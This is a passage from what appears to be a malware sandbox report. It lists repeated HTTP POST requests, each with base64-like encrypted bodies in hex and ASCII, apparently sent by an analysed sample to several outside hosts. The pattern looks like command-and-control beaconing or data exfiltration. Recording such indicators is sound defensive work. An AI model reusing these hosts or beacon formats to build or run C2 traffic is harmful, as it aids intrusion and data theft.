D7y3G2kQk/VlRk2BOJ6x54K4Q0UH9vrzrfm16a+p+BbKhmYLXeDcG8+O8hLSSAAlCvCz2V+iGJZBNe0HKfcR1S1T0yJkWgE5GBJ2UcenUuIA4AE+E2sDkvhlZ0b4p9kF5QACnLbQAWrKxiLgzeihhS/6as9ufXKqskNxRBR8lrZu+SaTSUA5aacrU5s1B/WsWtO93abiBTWeC94meFZ73hLr1QBjnHVqHEYdAI09xbJeUgtFt3kiLNVk3HrMRrFszCm/g/LQHDa/C1o2/HLeYmOGeNuf5XXQE6MpryOKCpQGl9nLgKftr0vvfEFEu2V64iIkdyx4CDYXpUYV2IxImdXBMa5koRteBbfNXWYxdOXQUGkBD+u0ld4ZQ9ox7Wvz2q9PWYkY+YsKmCN5z43FHntUx18zX3rPEWEGHRO+W/2/eQZHODPe9540e8XzHmXGWcI/O5NaPcyATY1Gb02K8RfOLdaRtBXvKgCFbkROuSAPeu73MECIDzh7KaSjybdWJROOlq2ldFm1YPFju66ixJVaP2GUMST1VPgDOl3extmm6PQc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.baijaku.comCache-Control: no-cacheData Raw: 56 4c 6d 74 49 35 4e 53 6b 2f 57 71 4d 64 71 58 57 72 59 72 65 44 79 43 5a 70 78 35 72 4c 43 4b 64 78 6c 6f 35 66 57 2b 59 63 4a 43 56 73 34 62 39 53 50 32 6d 62 31 50 76 4d 46 56 58 6f 51 4e 35 5a 77 70 65 36 6e 70 71 51 58 46 49 2b 79 74 38 58 6c 67 46 58 43 43 6c 4f 48 39 4e 62 49 31 58 32 33 62 31 4e 4d 4d 5a 52 4a 67 74 66 36 59 43 45 53 30 57 2f 65 4f 49 78 6f 57 55 49 54 30 38 39 35 49 6c 43 71 54 6d 51 71 36 58 41 75 6e 63 32 52 46 42 37 75 77 77 41 76 35 7a 37 73 63 6c 6b 66 4d 34 4b 55 50 2f 70 6d 57 74 31 78 68 47 4f 2f 78 69 53 57 52 77 56 6d 34 70 37 54 6a 6b 4b 79 66 39 66 73 58 56 46 39 70 6f 4b 38 4f 71 77 42 4c 6d 71 4a 4d 64 72 55 38 53 67 61 4f 6c 5a 73 6d 47 2f 73 65 4e 70 59 76 35 47 64 6a 58 77 37 4f 76 7a 30 4b 73 78 35 49 59 4b 44 41 6c 63 4c 41 4f 31 55 48 63 64 78 5a 4e 37 48 44 70 72 31 45 59 50 4c 42 64 61 63 66 4a 71 67 34 5a 75 64 47 32 4e 71 42 4a 64 75 42 2f 31 51 6c 57 53 51 67 75 6e 4a 4e 2f 7a 4d 2f 4b 76 69 4b 4c 47 71 4c 6d 35 32 66 48 35 63 5a 6e 42 2f 5a 58 54 30 78 7a 71 59 66 55 52 54 76 56 49 77 31 36 33 6e 2b 58 4f 2f 53 58 35 2b 72 66 44 50 36 51 67 38 63 46 63 42 76 47 79 79 6b 64 4c 76 42 5a 51 54 37 77 38 68 4a 58 62 79 4a 43 6d 75 42 43 6c 5a 66 6f 49 58 51 4c 38 6c 64 53 2b 54 32 57 63 59 57 61 4c 2b 61 73 43 64 41 73 42 6c 53 58 37 50 33 44 4d 61 42 74 65 52 36 76 43 77 61 67 35 78 48 63 35 64 62 73 52 47 36 53 2f 6d 31 42 74 63 2f 74 63 5a 4b 53 49 34 37 79 50 42 6f 33 57 41 75 2b 42 46 61 36 32 6e 2b 4e 4e 58 59 6f 46 32 75 61 68 30 6f 63 67 30 2f 73 46 6b 33 53 62 67 45 46 75 78 7a 71 78 71 6a 36 63 58 45 42 4e 55 61 68 43 36 44 33 4e 43 54 63 4d 67 39 50 6f 78 77 44 4f 4e 71 77 48 71 73 55 6c 65 69 66 67 44 6e 75 41 45 70 52 4a 75 45 76 79 71 31 52 34 66 6d 65 67 59 77 4b 76 34 3d Data Ascii: VLmtI5NSk/WqMdqXWrYreDyCZpx5rLCKdxlo5fW+YcJCVs4b9SP2mb1PvMFVXoQN5Zwpe6npqQXFI+yt8XlgFXCClOH9NbI1X23b1NMMZRJgtf6YCES0W/eOIxoWUIT0895IlCqTmQq6XAunc2RFB7uwwAv5z7sclkfM4KUP/pmWt1xhGO/xiSWRwVm4p7TjkKyf9fsXVF9poK8OqwBLmqJMdrU8SgaOlZsmG/seNpYv5GdjXw7Ovz0Ksx5IYKDAlcLAO1UHcdxZN7HDpr1EYPLBdacfJqg4ZudG2NqBJduB/1QlWSQgunJN/zM/KviKLGqLm52fH5cZnB/ZXT0xzqYfURTvVIw163n+XO/SX5+rfDP6Qg8cFcBvGyykdLvBZQT7w8hJXbyJCmuBClZfoIXQL8ldS+T2WcYWaL+asCdAsBlSX7P3DMaBteR6vCwag5xHc5dbsRG6S/m1Btc/tcZKSI47yPBo3WAu+BFa62n+NNXYoF2uah0ocg0/sFk3SbgEFuxzqxqj6cXEBNUahC6D3NCTcMg9PoxwDONqwHqsUleifgDnuAEpRJuEvyq1R4fmegYwKv4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 52 4d 37 58 35 6a 33 2b 73 6c 7a 6b 59 42 54 6a 7a 71 79 7a 4e 31 52 6a 43 6f 6e 55 4c 6e 36 4e 6d 51 59 37 45 75 37 47 49 2b 64 42 45 4e 49 7a 61 59 63 30 6d 51 35 4d 74 38 57 46 4e 51 35 5a 50 58 36 69 79 55 72 4f 4d 52 79 6b 36 30 72 78 54 52 6e 48 58 66 31 58 6a 6f 38 66 69 67 64 4d 55 50 6f 37 54 65 67 4c 79 35 33 79 34 58 7a 65 74 2b 4f 34 57 6d 65 33 42 58 64 38 79 45 67 32 4e 5a 36 6c 4c 4b 6f 71 4a 6c 5a 42 53 79 6d 42 43 70 47 56 66 59 42 2b 58 50 70 68 63 41 65 57 30 2b 42 34 6e 4e 70 5a 44 4f 38 59 70 4b 6f 70 46 6a 66 56 57 32 7a 4f 48 67 61 4a 63 77 74 71 38 48 6f 58 6f 2b 48 50 69 6c Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 43 67 55 6c 4c 50 61 59 6b 2f 55 73 73 50 6c 2f 55 62 76 6c 63 35 6d 4a 69 41 41 57 38 74 52 4d 69 6c 54 65 35 48 44 62 33 70 32 42 77 30 4e 6a 41 54 43 6f 67 5a 67 5a 73 5a 6c 4f 31 41 57 4c 35 55 73 6d 66 56 70 5a 70 46 49 59 64 77 64 48 6e 34 4c 41 73 50 4a 77 38 2b 4b 44 63 69 39 6f 4d 2b 70 54 48 4b 78 57 51 32 66 49 30 2b 4d 54 72 31 4b 77 44 51 77 70 64 47 53 6b 65 44 61 78 43 55 68 72 67 46 4d 62 71 74 79 53 4c 2f 35 73 39 72 77 37 47 64 4b 38 53 68 77 31 78 4e 50 41 6c 69 47 43 46 2f 4a 47 73 32 51 74 50 52 6f 4b 30 35 70 76 41 31 61 51 52 43 53 64 33 35 78 79 6d 4c 30 6c 5a 70 4c 45 4a 70 67 59 46 47 58 50 32 56 41 6e 78 6f 53 6f 70 46 37 4d 42 6e 34 34 43 79 74 6c 69 4b 38 4c 50 50 7a 50 4e 43 51 50 73 68 30 54 4d 4e 6f 50 58 39 4e 39 4b 38 31 70 51 36 52 43 37 49 53 64 32 75 5a 45 33 35 71 6c 69 31 6d 63 5a 49 54 48 6d 75 41 62 78 65 2b 73 4c 32 56 35 38 6e 57 63 51 44 50 67 30 4e 35 70 38 6c 46 2b 4d 53 69 51 63 58 45 41 35 48 63 53 56 59 65 66 54 62 38 6c 73 6d 37 75 77 62 5a 71 6b 62 6a 33 30 6f 61 79 47 5a 74 50 55 41 4e 54 47 55 75 75 42 2b 76 77 35 66 39 47 33 74 79 61 43 4e 61 61 30 59 35 6b 74 2f 77 4d 38 7a 64 37 2b 6f 52 63 62 2b 67 44 4b 42 39 77 66 32 59 74 4d 4a 4c 6d 41 58 78 48 43 57 72 79 78 77 4b 64 44 53 55 45 73 41 34 32 77 77 54 32 65 50 78 53 51 4e 32 51 46 30 31 4c 51 52 67 6d 62 41 73 38 38 75 4c 4b 34 4b 6b 4a 2b 33 59 74 65 38 56 73 75 46 58 79 55 61 79 51 6c 6f 58 45 78 46 4f 4d 72 71 7a 33 48 56 66 33 66 63 2b 6e 6b 6a 68 41 72 42 61 6c 30 4d 5a 63 6e 70 55 75 4e 54 79 38 63 38 6f 71 78 70 64 53 46 34 53 33 78 4d 67 57 44 68 4e 5a 43 41 58 4a 61 4e 75 4d 75 2f 6e 6b 6c 61 68 35 65 49 61 44 38 47 39 6b 4c 59 71 39 4e 6a 68 4d 39 6a 53 54 79 38 50 79 75 76 61 6c 39 44 5a 43 71 33 2f 67 4d 75 51 54 68 53 48 64 4b 62 65 7a 71 64 6c 4f Data Ascii: CgUlLPaYk/UssPl/Ubvlc5mJiAAW8tRMilTe5HDb3p2Bw0NjATCogZgZsZlO1AWL5UsmfVpZpFIYdwdHn4LAsPJw8+KDci9oM+pTHKxWQ2fI0+MTr1KwDQwpdGSkeDaxCUhrgFMbqtySL/5s9rw7GdK8Shw1xNPAliGCF/JGs2QtPRoK05pvA1aQRCSd35xymL0lZpLEJpgYFGXP2VAnxoSopF7MBn44CytliK8LPPzPNCQPsh0TMNoPX9N9K81pQ6RC7ISd2uZE35qli1mcZITHmuAbxe+sL2V58nWcQDPg0N5p8lF+MSiQcXEA5HcSVYefTb8lsm7uwbZqkbj30oayGZtPUANTGUuuB+vw5f9G3tyaCNaa0Y5kt/wM8zd7+oRcb+gDKB9wf2YtMJLmAXxHCWryxwKdDSUEsA42wwT2ePxSQN2QF01LQRgmbAs88uLK4KkJ+3Yte8VsuFXyUayQloXExFOMrqz3HVf3fc+nkjhArBal0MZcnpUuNTy8c8oqxpdSF4S3xMgWDhNZCAXJaNuMu/nklah5eIaD8G9kLYq9NjhM9jSTy8Pyuval9DZCq3/gMuQThSHdKbezqdlO
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.quadlock.comCache-Control: no-cacheData Raw: 33 6f 73 71 4a 66 4e 65 6b 2f 56 58 7a 37 34 4c 4f 70 64 36 73 70 77 70 34 66 56 5a 30 4a 4f 79 31 2f 76 36 4b 59 6f 6a 48 32 2f 38 30 50 4b 69 35 32 52 50 43 6d 43 43 6a 49 43 2f 7a 51 56 4e 62 4c 79 52 6b 50 77 6e 61 4c 74 49 68 50 37 7a 78 58 71 46 41 65 41 76 79 46 4d 4a 76 4a 6c 43 61 49 64 6b 73 48 76 6f 50 35 36 75 7a 43 2b 43 69 6b 42 75 56 7a 39 58 7a 53 41 53 4d 4b 36 64 6c 6c 46 57 6d 65 6a 6b 48 35 55 2f 4d 73 35 48 72 43 66 45 61 42 39 77 46 2b 75 35 54 47 42 2f 77 75 61 54 38 6c 72 4f 65 50 6c 52 72 61 45 53 36 31 46 44 63 52 75 50 5a 31 6c 37 64 44 6e 5a 46 66 6b 6c 56 5a 48 4c 36 79 4e 57 6c 43 62 46 52 68 4f 61 36 49 48 49 59 67 4d 71 32 61 35 56 32 76 4a 59 64 35 72 43 55 6b 46 31 4b 35 59 34 6b 33 79 44 6b 6b 30 56 4d 35 55 2b 4b 74 71 59 77 42 6a 2b 75 67 56 37 6f 2b 53 37 33 4e 36 54 6a 72 4a 33 75 77 74 62 7a 4c 78 66 76 59 49 2b 51 49 57 34 4b 52 71 6c 74 72 58 53 78 31 76 35 57 31 6f 57 45 38 67 45 4e 6e 30 5a 35 66 32 36 63 45 36 41 59 6b 2f 2f 57 56 30 6d 4c 30 6b 74 4d 4a 33 6b 58 36 39 4c 72 72 33 75 70 4c 67 47 2f 71 45 68 77 4b 49 61 44 44 79 74 38 4c 79 54 38 75 6a 6e 44 55 4f 6b 68 69 64 64 68 4b 4d 57 55 76 57 71 4a 51 50 78 7a 67 4c 4a 7a 58 63 54 45 63 31 75 70 71 76 57 47 56 6e 56 6c 47 47 68 56 32 39 4f 6f 47 4c 66 51 32 79 49 54 47 2f 55 64 67 68 58 36 37 78 39 30 4c 36 6d 39 79 51 62 69 61 4a 78 5a 74 2f 62 37 62 36 6b 43 7a 54 66 6d 6c 79 6a 7a 6c 71 57 66 78 48 30 68 7a 53 6e 53 5a 45 79 63 2b 35 65 4f 38 65 67 49 6d 4a 43 52 35 41 4d 72 78 59 2f 55 4c 46 30 53 67 52 6e 6f 33 30 4f 32 6f 53 32 78 78 75 55 37 4a 66 66 51 6a 37 44 2f 59 30 46 6a 64 43 67 77 59 32 55 6e 6f 72 5a 41 70 6a 76 43 70 44 4d 71 75 50 37 4c 6b 4c 35 33 48 73 3d Data Ascii: 3osqJfNek/VXz74LOpd6spwp4fVZ0JOy1/v6KYojH2/80PKi52RPCmCCjIC/zQVNbLyRkPwnaLtIhP7zxXqFAeAvyFMJvJlCaIdksHvoP56uzC+CikBuVz9XzSASMK6dllFWmejkH5U/Ms5HrCfEaB9wF+u5TGB/wuaT8lrOePlRraES61FDcRuPZ1l7dDnZFfklVZHL6yNWlCbFRhOa6IHIYgMq2a5V2vJYd5rCUkF1K5Y4k3yDkk0VM5U+KtqYwBj+ugV7o+S73N6TjrJ3uwtbzLxfvYI+QIW4KRqltrXSx1v5W1oWE8gENn0Z5f26cE6AYk//WV0mL0ktMJ3kX69Lrr3upLgG/qEhwKIaDDyt8LyT8ujnDUOkhiddhKMWUvWqJQPxzgLJzXcTEc1upqvWGVnVlGGhV29OoGLfQ2yITG/UdghX67x90L6m9yQbiaJxZt/b7b6kCzTfmlyjzlqWfxH0hzSnSZEyc+5eO8egImJCR5AMrxY/ULF0SgRno30O2oS2xxuU7JffQj7D/Y0FjdCgwY2UnorZApjvCpDMquP7LkL53Hs=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 52 4d 37 58 35 6a 33 2b 73 6c 7a 6b 59 42 54 6a 7a 71 79 7a 4e 31 52 6a 43 6f 6e 55 4c 6e 36 4e 6d 51 59 37 45 75 37 47 49 2b 64 42 45 4e 49 7a 61 59 63 30 6d 51 35 4d 74 38 57 46 4e 51 35 5a 50 58 36 69 79 55 72 4f 4d 52 79 6b 36 30 72 78 54 52 6e 48 58 66 31 58 6a 6f 38 66 69 67 64 4d 55 50 6f 37 54 65 67 4c 79 35 33 79 34 58 7a 65 74 2b 4f 34 57 6d 65 33 42 58 64 38 79 45 67 32 4e 5a 36 6c 4c 4b 6f 71 4a 6c 5a 42 53 79 6d 42 43 70 47 56 66 59 42 2b 58 50 70 68 63 41 65 57 30 2b 42 34 6e 4e 70 5a 44 4f 38 59 70 4b 6f 70 46 6a 66 56 57 32 7a 4f 48 67 61 4a 63 77 74 71 38 48 6f 58 6f 2b 48 50 69 6c Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pdqhomes.comCache-Control: no-cacheData Raw: 62 68 55 54 4d 4b 4f 35 6b 2f 58 76 39 59 56 32 4b 6c 4c 52 73 63 78 4c 4e 4c 33 4a 43 49 50 69 68 79 6b 79 69 55 6b 34 64 2f 62 76 45 33 34 57 4b 31 67 59 58 59 69 76 51 63 68 63 6c 6a 4e 75 57 49 74 67 64 46 6c 65 57 2b 44 33 51 61 73 73 32 4c 4c 65 64 37 30 42 46 4c 2b 77 47 6c 73 71 33 51 34 58 6f 63 55 63 4c 44 57 71 48 64 4d 43 6b 5a 4e 4d 4c 76 4e 34 63 57 64 70 6e 53 7a 2b 7a 74 36 53 78 70 33 46 43 6c 50 64 6c 5a 31 63 4b 4d 72 4e 53 4a 4b 48 6f 6b 58 43 71 5a 31 74 67 6e 51 61 56 70 47 63 74 69 53 45 47 36 41 34 2b 44 45 35 38 6b 62 35 45 69 67 43 50 71 4e 7a 44 53 74 70 61 44 52 43 58 30 4b 71 39 74 6b 74 4b 33 58 6a 70 34 55 58 62 72 44 65 2b 38 69 6e 38 65 63 41 4a 4d 32 31 4f 4e 68 6d 56 48 55 61 48 4c 47 6c 6c 47 6c 46 49 61 66 70 2b 70 62 57 46 42 39 33 44 44 57 64 32 65 4f 6d 36 75 76 35 6d 35 63 70 34 64 53 6f 62 42 68 63 73 39 34 4d 68 2f 6b 6b 71 64 62 34 71 35 5a 49 52 34 4c 4b 6c 5a 55 4e 42 35 41 71 6b 68 72 6a 67 68 48 72 64 6c 77 73 34 41 76 46 4d 55 32 44 75 56 68 71 64 7a 5a 61 4a 6f 67 69 4c 75 6d 4e 51 65 75 42 6d 76 37 65 45 54 71 5a 39 36 36 70 49 36 44 56 6a 4c 2b 44 35 51 47 43 56 39 49 55 31 69 68 4b 66 6f 39 74 36 4d 4e 4b 75 52 2b 65 68 61 32 37 35 66 6a 70 6d 39 73 6f 57 73 39 37 49 57 54 46 4e 37 56 79 2b 4f 4b 70 2f 71 45 6a 53 39 33 7a 6f 71 2f 71 47 71 38 4b 55 4c 77 68 70 4e 6a 2b 62 6d 67 2b 5a 39 63 45 2b 50 79 57 54 4a 35 57 36 68 53 2b 6d 4b 73 47 48 57 5a 6d 33 41 74 49 2f 6f 59 61 30 33 39 35 33 54 63 6d 36 63 53 30 5a 72 71 31 78 4a 77 4f 48 76 57 77 4c 74 51 6e 51 49 35 54 64 38 2b 62 33 2f 46 64 51 4d 32 6e 58 31 70 50 33 32 56 5a 62 48 7a 52 32 76 53 41 45 6a 46 41 7a 50 6e 75 58 51 4f 76 6c 38 70 4e 48 32 44 79 4a 43 74 46 77 51 78 71 Data Ascii: bhUTMKO5k/Xv9YV2KlLRscxLNL3JCIPihykyiUk4d/bvE34WK1gYXYivQchcljNuWItgdFleW+D3Qass2LLed70BFL+wGlsq3Q4XocUcLDWqHdMCkZNMLvN4cWdpnSz+zt6Sxp3FClPdlZ1cKMrNSJKHokXCqZ1tgnQaVpGctiSEG6A4+DE58kb5EigCPqNzDStpaDRCX0Kq9tktK3Xjp4UXbrDe+8in8ecAJM21ONhmVHUaHLGllGlFIafp+pbWFB93DDWd2eOm6uv5m5cp4dSobBhcs94Mh/kkqdb4q5ZIR4LKlZUNB5AqkhrjghHrdlws4AvFMU2DuVhqdzZaJogiLumNQeuBmv7eETqZ966pI6DVjL+D5QGCV9IU1ihKfo9t6MNKuR+eha275fjpm9soWs97IWTFN7Vy+OKp/qEjS93zoq/qGq8KULwhpNj+bmg+Z9cE+PyWTJ5W6hS+mKsGHWZm3AtI/oYa03953Tcm6cS0Zrq1xJwOHvWwLtQnQI5Td8+b3/FdQM2nX1pP32VZbHzR2vSAEjFAzPnuXQOvl8pNH2DyJCtFwQxq
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.valdal.comCache-Control: no-cacheData Raw: 7a 48 62 5a 69 51 45 35 52 66 62 33 5a 6a 55 73 34 44 37 43 34 39 6f 6b 74 30 70 2f 52 70 72 4d 78 53 63 58 6d 62 59 58 69 37 45 4c 58 5a 6a 4f 62 73 70 62 68 48 52 58 77 35 39 70 30 74 4e 41 31 49 6f 44 72 68 50 78 4c 52 69 77 64 50 43 67 4d 7a 34 72 44 45 38 63 59 63 64 62 6f 64 39 63 75 6e 33 51 61 38 71 66 65 61 39 6f 34 70 39 65 36 42 63 46 6d 59 44 71 32 64 39 30 46 34 34 65 55 4a 2b 69 53 38 67 41 49 54 50 75 42 35 64 52 64 4a 4b 41 49 58 56 46 78 64 42 57 4f 78 6d 55 42 56 6f 33 63 49 65 44 6d 74 44 53 47 57 58 78 4f 36 45 4d 48 44 57 41 37 41 71 56 69 32 38 74 72 6b 4f 75 48 67 52 68 31 58 76 32 58 51 73 65 6e 4c 67 46 53 76 4f 7a 79 6d 4f 64 57 2b 63 33 39 76 72 52 4b 34 65 52 32 67 4f 42 2f 70 61 48 38 70 6c 71 30 61 6d 69 58 31 78 56 37 76 57 41 67 6f 67 38 41 52 44 57 37 68 79 43 57 67 66 68 58 4e 4b 30 61 75 54 75 72 36 65 45 4b 31 30 56 62 6a 2f 34 55 37 68 46 68 4e 4e 63 6b 6a 4c 39 53 45 6d 55 35 4b 4e 6b 33 73 61 61 31 36 61 7a 73 53 4a 51 6a 53 45 50 42 43 2b 64 79 33 71 63 56 49 55 47 77 75 75 4b 7a 4b 37 32 71 48 35 71 4b 34 71 71 50 63 6b 38 45 75 70 4f 55 41 73 61 62 50 65 2b 75 62 61 32 73 4b 74 46 49 46 78 79 4d 7a 57 5a 6c 41 75 6e 34 76 75 4d 61 44 41 33 64 66 7a 33 37 57 47 4d 6e 47 36 6c 4d 57 78 56 50 64 68 33 51 51 6d 46 64 6e 4c 63 75 6b 47 34 6f 31 67 52 61 31 59 58 38 38 57 52 57 62 62 38 36 53 51 33 42 30 49 51 7a 6a 62 78 6a 68 32 46 45 73 42 65 6b 4b 47 4e 53 62 35 55 63 59 49 75 38 6d 47 52 2b 77 2f 4c 30 43 68 35 37 36 67 76 50 53 44 78 61 39 74 48 43 52 30 48 47 62 6a 5a 63 73 56 44 73 37 64 54 41 36 44 75 65 77 6d 55 76 57 7a 66 6a 61 43 47 58 64 62 38 76 61 4a 4e 64 6e 6f 63 33 62 31 42 6d 43 59 6f 2b 56 77 52 35 6a 67 74 35 74 41 6f 44 58 67 3d Data Ascii: zHbZiQE5Rfb3ZjUs4D7C49okt0p/RprMxScXmbYXi7ELXZjObspbhHRXw59p0tNA1IoDrhPxLRiwdPCgMz4rDE8cYcdbod9cun3Qa8qfea9o4p9e6BcFmYDq2d90F44eUJ+iS8gAITPuB5dRdJKAIXVFxdBWOxmUBVo3cIeDmtDSGWXxO6EMHDWA7AqVi28trkOuHgRh1Xv2XQsenLgFSvOzymOdW+c39vrRK4eR2gOB/paH8plq0amiX1xV7vWAgog8ARDW7hyCWgfhXNK0auTur6eEK10Vbj/4U7hFhNNckjL9SEmU5KNk3saa16azsSJQjSEPBC+dy3qcVIUGwuuKzK72qH5qK4qqPck8EupOUAsabPe+uba2sKtFIFxyMzWZlAun4vuMaDA3dfz37WGMnG6lMWxVPdh3QQmFdnLcukG4o1gRa1YX88WRWbb86SQ3B0IQzjbxjh2FEsBekKGNSb5UcYIu8mGR+w/L0Ch576gvPSDxa9tHCR0HGbjZcsVDs7dTA6DuewmUvWzfjaCGXdb8vaJNdnoc3b1BmCYo+VwR5jgt5tAoDXg=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 